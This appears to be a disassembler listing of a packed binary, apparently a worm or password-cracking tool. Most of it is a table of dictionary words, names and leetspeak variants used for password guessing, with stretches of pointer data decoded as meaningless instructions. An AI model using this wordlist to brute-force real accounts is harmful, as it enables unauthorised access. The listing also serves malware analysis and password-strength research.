aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" dd offset aMorley ; "morley" dd offset aMorris ; "morris" dd offset aMortal ; "mortal" dd offset aMortalco ; "mortalco" dd offset aMortgage ; "mortgage" dd offset aMosaic ; "mosaic" dd offset aMountain ; "mountain" dd offset aMouse ; "mouse" dd offset aMove ; "move" dd offset aMovie ; "movie" dd offset aMovies ; "movies" dd offset aMozart ; "mozart" dd offset aMpeg ; "mpeg" dd offset aMsdos ; "msdos" dd offset aMuppets ; "muppets" dd offset aMutant ; "mutant" dd offset aNagel ; "nagel" dd offset aName ; "name" dd offset aNancy ; "nancy" dd offset aNapoleon ; "napoleon" dd offset aNasa ; "nasa" dd offset aNavy ; "navy" dd offset aNepenthe ; "nepenthe" dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" dd offset aNext ; "next" dd offset aNice ; "nice" dd offset aNicole ; "nicole" dd offset aNicotine ; "nicotine" dd offset aNight ; "night" dd offset aNightmar ; "nightmar" dd offset aNintendo ; "nintendo" dd offset aNita ; "nita" dd offset aNnaacp ; "nnaacp" dd offset aNoble ; "noble" dd offset aNobody ; "nobody" dd offset aNode ; "node" dd offset aNoreen ; "noreen" dd offset aNotes ; "notes" dd offset aNoth ; "noth" dd offset aNova ; "nova" dd offset aNovel ; "novel" dd offset aNovember ; "november" dd offset aNoxious ; "noxious" dd offset aNuclear ; "nuclear" dd offset aNude ; "nude" dd offset aNuke ; "nuke" dd offset aNukem ; "nukem" dd offset aNull_1 ; "null" dd offset aNumber ; "number" dd offset aNutritio ; "nutritio" dd offset aNuts ; "nuts" dd offset aNyquist ; "nyquist" dd offset aObscurit ; "obscurit" dd offset aOceanogr ; "oceanogr" dd offset aOcelot ; "ocelot" dd offset aOffice ; "office" dd offset aOkay ; "okay" dd offset aOldage ; "oldage" dd offset aOlivetti ; "olivetti" dd offset aOlivia ; "olivia" dd offset aOmega ; "omega" dd offset aOpen ; "open" dd offset aOpening ; "opening" dd offset aOpenlock ; "openlock" dd offset aOpensesa ; "opensesa" dd offset aOperator ; "operator" dd offset aOrca ; "orca" dd offset aOrient ; "orient" dd offset aOrwell ; "orwell" dd offset aOscar ; "oscar" dd offset aOsiris ; "osiris" dd offset aOutdoors ; "outdoors" dd offset aOutlaw ; "outlaw" dd offset aOutput ; "output" dd offset aOutside ; "outside" dd offset aOxford ; "oxford" dd offset aPacific ; "pacific" dd offset aPackard ; "packard" dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; "pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; "perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom_0 ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud ; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" dd offset aSerenity ; "serenity" dd offset aSerial ; "serial" dd offset aService ; "service" dd offset aSesame ; "sesame" dd offset aSexy ; "sexy" dd offset aShannon ; "shannon" dd offset aSharc ; "sharc" dd offset aShark ; "shark" dd offset aSharks ; "sharks" dd offset aSharon ; "sharon" dd offset aSheffiel ; "sheffiel" dd offset aSheldon ; "sheldon" dd offset aShell ; "shell" dd offset aSherri ; "sherri" dd offset aShift ; "shift" dd offset aShirley ; "shirley" dd offset aShit ; "shit" dd offset aShitpot ; "shitpot" dd offset aShiva ; "shiva" dd offset aShivers ; "shivers" dd offset aShort ; "short" dd offset aShuttle ; "shuttle" dd offset aSick ; "sick" dd offset aSierra ; "sierra" dd offset aSignatur ; "signatur" dd offset aSilver ; "silver" dd offset aSimcity ; "simcity" dd offset aSimon ; "simon" dd offset aSimple ; "simple" dd offset aSimpsons ; "simpsons" dd offset aSimulati ; "simulati" db 0D0h, 0D1h, 42h ; --------------------------------------------------------------------------- loc_42A767: ; CODE XREF: .nsp0:0042A794j add al, cl rol dword ptr [edx+0], 1 rcl cl, 42h add [eax-4FFFBD2Fh], bh rol dword ptr [edx+0], 1 test al, 0D1h inc edx add [eax-67FFBD2Fh], ah rol dword ptr [edx+0], 1 nop rol dword ptr [edx+0], 1 mov cl, dl inc edx add [eax+780042D1h], al rol dword ptr [edx+0], 1 jo short loc_42A767 inc edx add [eax-2Fh], ch inc edx add [eax-2Fh], ah inc edx add [eax-2Fh], bl inc edx add [eax-2Fh], dl inc edx add [eax-2Fh], cl inc edx add [eax-2Fh], al inc edx add [eax], bh rol dword ptr [edx+0], 1 xor cl, dl inc edx add [eax], ch rol dword ptr [edx+0], 1 and cl, dl inc edx add [eax], bl rol dword ptr [edx+0], 1 or al, 0D1h inc edx add [ecx+edx*8], al inc edx add ah, bh rol byte ptr [edx+0], 1 ; --------------------------------------------------------------------------- dd offset aSoftware ; "software" dd offset aSomebody ; "somebody" dd offset aSondra ; "sondra" dd offset aSonia ; "sonia" dd offset aSonic ; "sonic" dd offset aSonya ; "sonya" dd offset aSossina ; "sossina" dd offset aSource ; "source" dd offset aSouth ; "south" dd offset aSpaceshi ; "spaceshi" dd offset aSparrows ; "sparrows" dd offset aSpear ; "spear" dd offset aSpell ; "spell" dd offset aSpice ; "spice" dd offset aSpider ; "spider" dd offset aSpiderma ; "spiderma" dd offset aSpit ; "spit" dd offset aSpred ; "spred" dd offset aSpring ; "spring" dd offset aSpringer ; "springer" dd offset aSpunk ; "spunk" dd offset aSquires ; "squires" dd offset aSr71 ; "sr71" dd offset aStacey ; "stacey" dd offset aStaci ; "staci" dd offset aStacie ; "stacie" dd offset aStacy ; "stacy" dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" dd offset aStephani ; "stephani" dd offset aStereo ; "stereo" dd offset aSteve ; "steve" dd offset aStoneage ; "stoneage" dd offset aStoned ; "stoned" dd offset aStones ; "stones" dd offset aStrange ; "strange" dd offset aStrangle ; "strangle" dd offset aStratfor ; "stratfor" dd offset aStreetfi ; "streetfi" dd offset aString ; "string" dd offset aStrip ; "strip" dd offset aStudent ; "student" dd offset aStuttgar ; "stuttgar" dd offset aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aTabasco ; "tabasco" dd offset aTalk ; "talk" dd offset aTall ; "tall" dd offset aTamara ; "tamara" dd offset aTami ; "tami" dd offset aTamie ; "tamie" dd offset aTammy ; "tammy" dd offset aTangerin ; "tangerin" dd offset aTango ; "tango" dd offset aTape ; "tape" dd offset aTara ; "tara" dd offset aTarget ; "target" dd offset aTarragon ; "tarragon" dd offset aTaylor ; "taylor" dd offset aTeacher ; "teacher" dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" dd offset aTemptati ; "temptati" dd offset aTennis ; "tennis" dd offset aTera ; "tera" dd offset aTerminal ; "terminal" dd offset aTerminat ; "terminat" dd offset aTess ; "tess" dd offset aTetris ; "tetris" ; --------------------------------------------------------------------------- adc ch, cl inc edx add ds:0CCFC0042h[ecx*8], al inc edx add ah, dh int 3 ; Trap to Debugger inc edx add al, ch int 3 ; Trap to Debugger inc edx add al, ah int 3 ; Trap to Debugger inc edx add al, bl int 3 ; Trap to Debugger inc edx add al, dl int 3 ; Trap to Debugger inc edx add al, cl int 3 ; Trap to Debugger inc edx add al, al int 3 ; Trap to Debugger inc edx add [eax-4FFFBD34h], bh int 3 ; Trap to Debugger inc edx add [eax-63FFBD34h], ch int 3 ; Trap to Debugger inc edx add [esp+ecx*8-3377FFBEh], dl inc edx add [esp+ecx*8+42h], bh add [esp+ecx*8+42h], dh add [esp+ecx*8+42h], ch add [esp+ecx*8+42h], ah add [esp+ecx*8+42h], bl add [esp+ecx*8+42h], dl add [esp+ecx*8+42h], cl add [eax-34h], al inc edx add [eax], bh int 3 ; Trap to Debugger inc edx add [esp+ecx*8], ch inc edx add [esp+ecx*8], ah inc edx add [esp+ecx*8], bl inc edx add [esp+ecx*8], dl inc edx add [esp+ecx*8], cl inc edx add [esp+ecx*8], al inc edx add al, bh retf ; --------------------------------------------------------------------------- inc edx add al, dh retf ; --------------------------------------------------------------------------- inc edx add al, ch retf ; --------------------------------------------------------------------------- inc edx add al, ah retf ; --------------------------------------------------------------------------- inc edx add al, bl retf ; --------------------------------------------------------------------------- inc edx add al, dl retf ; --------------------------------------------------------------------------- inc edx add al, cl retf ; --------------------------------------------------------------------------- inc edx add al, al retf ; --------------------------------------------------------------------------- inc edx add [eax-4FFFBD35h], bh retf ; --------------------------------------------------------------------------- inc edx add [eax-5FFFBD35h], ch retf ; --------------------------------------------------------------------------- inc edx add [eax-6FFFBD35h], bl retf ; --------------------------------------------------------------------------- inc edx add [eax+7C0042CBh], cl retf ; --------------------------------------------------------------------------- inc edx add [eax-35h], dh inc edx add [ebx+ecx*8+42h], ah add [ebx+ecx*8+42h], bl add [ebx+ecx*8+42h], dl add [ebx+ecx*8+42h], cl add [ebx+ecx*8+42h], al add [ebx+ecx*8], bh inc edx add [ebx+ecx*8], dh inc edx add [ebx+ecx*8], ch inc edx add [eax], ah retf ; --------------------------------------------------------------------------- inc edx add [ebx+ecx*8], dl inc edx add [ebx+ecx*8], cl inc edx add [ebx+ecx*8], al inc edx add ah, bh retf 42h ; --------------------------------------------------------------------------- dd offset aUucp ; "uucp" dd offset aVagina ; "vagina" dd offset aValerie ; "valerie" ; --------------------------------------------------------------------------- fmul st(2), st inc edx add ah, dl retf 42h ; --------------------------------------------------------------------------- dd offset aVenus ; "venus" ; --------------------------------------------------------------------------- ror dl, 42h add [eax-4FFFBD36h], bh retf 42h ; --------------------------------------------------------------------------- test al, 0CAh inc edx add [eax-6BFFBD36h], ah retf 42h ; --------------------------------------------------------------------------- mov edx, cs inc edx add [edx+ecx*8-3587FFBEh], al inc edx add [eax-36h], dh inc edx add [eax-36h], ch inc edx add [eax-36h], ah inc edx add [edx+ecx*8+42h], dl add [edx+ecx*8+42h], cl add [edx+ecx*8+42h], al add [edx+ecx*8], bh inc edx add [edx+ecx*8], dh inc edx add [edx+ecx*8], ch inc edx add [eax], ah retf 42h ; --------------------------------------------------------------------------- sbb dl, cl inc edx add [eax], dl retf 42h ; --------------------------------------------------------------------------- dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" dd offset aWest ; "west" dd offset aWestern ; "western" dd offset aWhatever ; "whatever" dd offset aWhatnot ; "whatnot" dd offset aWhisky ; "whisky" dd offset aWhite ; "white" dd offset aWhiting ; "whiting" dd offset aWhitney ; "whitney" dd offset aWholesal ; "wholesal" dd offset aWhore ; "whore" dd offset aWill ; "will" dd offset aWilliam ; "william" dd offset aWilliams ; "williams" dd offset aWillie ; "willie" dd offset aWilma ; "wilma" dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset aLol ; "lol" dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM_2 ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" dd offset aWindows2k ; "windows2k" dd offset aWindowsme ; "windowsME" dd offset aWindows98 ; "windows98" dd offset aWindows95 ; "windows95" dd offset aWindozexp ; "windozexp" dd offset aWindoze2k ; "windoze2k" dd offset aWindozeme ; "windozeME" dd offset aWindoze98 ; "windoze98" dd offset aWindoze95 ; "windoze95" dd offset aWh0r3 ; "wh0r3" dd offset aHo ; "ho" dd offset aWh0re ; "wh0re" dd offset aHax ; "hax" dd offset aHaxing ; "haxing" dd offset aH4x1ng ; "h4x1ng" dd offset aH4x0r1ng ; "h4x0r1ng" dd offset aH4x0ring ; "h4x0ring" dd offset aAda ; "ada" dd offset aAlbatross ; "albatross" dd offset aAlf ; "alf" dd offset aAma ; "ama" dd offset aAmorphous ; "amorphous" dd offset aAmy ; "amy" dd offset aAndromache ; "andromache" dd offset aAnn ; "ann" dd offset aAnthropogenic ; "anthropogenic" dd offset aAsd ; "asd" dd offset aAsm ; "asm" dd offset aAtmosphere ; "atmosphere" dd offset aBeethoven ; "beethoven" dd offset aBicameral ; "bicameral" dd offset aBob ; "bob" dd offset aBsd ; "bsd" dd offset aCad ; "cad" dd offset aCampanile ; "campanile" dd offset aCat ; "cat" dd offset aCatherine ; "catherine" dd offset aChemistry ; "chemistry" dd offset aChristina ; "christina" dd offset aChristine ; "christine" dd offset aCommrades ; "commrades" dd offset aCornelius ; "cornelius" dd offset aDeb ; "deb" dd offset aDesperate ; "desperate" dd offset aDiscovery ; "discovery" dd offset aDog ; "dog" dd offset aDos ; "dos" dd offset aEdinburgh ; "edinburgh" dd offset aEiderdown ; "eiderdown" dd offset aElizabeth ; "elizabeth" dd offset aEnterprise ; "enterprise" dd offset aEstablish ; "establish" dd offset aExtension ; "extension" ; --------------------------------------------------------------------------- rol ah, 1 inc edx add ah, al les eax, [edx+0] rol ah, 42h add [esp+eax*8-3B47FFBEh], bh inc edx add [esp+eax*8-3B57FFBEh], ch inc edx add [esp+eax*8-3B6FFFBEh], bl inc edx add [esp+eax*8-3B77FFBEh], cl inc edx add [esp+eax*8-3B7FFFBEh], al inc edx add [esp+eax*8+42h], dh add [eax-3Ch], dh inc edx add [esp+eax*8+42h], ch add [eax-3Ch], ah inc edx add [esp+eax*8+42h], bl add [eax-3Ch], bl inc edx add [esp+eax*8+42h], dl add [eax-3Ch], dl inc edx add [esp+eax*8+42h], al add [esp+eax*8], dh inc edx add [eax], dh les eax, [edx+0] sub al, 0C4h inc edx add [eax], ah les eax, [edx+0] adc al, 0C4h inc edx add [eax], cl les eax, [edx+0] cld retn ; 